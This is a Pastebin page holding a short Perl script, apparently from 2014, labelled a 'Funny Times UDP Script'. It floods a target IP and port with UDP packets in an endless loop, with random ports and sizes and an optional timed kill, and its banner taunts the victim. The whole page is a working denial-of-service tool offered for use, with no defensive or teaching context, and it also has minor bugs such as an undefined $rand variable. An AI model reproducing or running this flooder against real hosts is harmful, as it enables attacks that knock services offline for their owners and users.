iViiRuS

Udp script for Funny Times :)

May 26th, 2014
335
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9. printf "
  10.                                            
  11. |   | +___________________________________+      
  12. |   |     ____________________________    |              
  13. |   | |  |                            |   |                      
  14. |   | |  |                            |   |      
  15. |   | |  |       Get Fried     | O |    
  16. |   | |  |                            | O |      
  17. |   | |  |____________________________|   |      
  18. |___|    _____________________________________                          
  19.     +--| \ [][][][][][][][][][][][][] [][][]  \
  20.           \ [][][][][][][][][][][][]  [][][]  \
  21.            \ __________________________________\
  22.              ____________________________________|
  23. ";
  24.  
  25. printf "Funny Times UDP Script By, Sheikh ViiRuS";
  26.  
  27.  
  28. }
  29.  
  30. my ($ip,$port,$size,$time);
  31. $ip=$ARGV[0];
  32. $port=$ARGV[1];
  33. $time=$ARGV[2];
  34.  
  35. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  36. $iaddr = inet_aton("$ip");
  37.  
  38. print <<EOTEXT;
  39. Funny Times Smackin Script
  40. Get Fried Skid
  41. EOTEXT
  42. printf "~You are getting fried Skid!~ $ip on port $portn";
  43.  
  44. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  45. goto randpackets;
  46. }
  47. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  48. system("(sleep $time;killall -9 udp) &");
  49. goto packets;
  50. }
  51. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  52. goto packets;
  53. }
  54. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  55. system("(sleep $time;killall -9 udp) &");
  56. goto randpackets;
  57. }
  58.  
  59. packets:
  60. for (;;) {
  61. $size=$rand x $rand x $rand;
  62. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  63. }
  64.  
  65. randpackets:
  66. for (;;) {
  67. $size=int(rand(1500000-64)+64) ;
  68. $port=int(rand 65000) +1;
  69. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  70. }
RAW Paste Data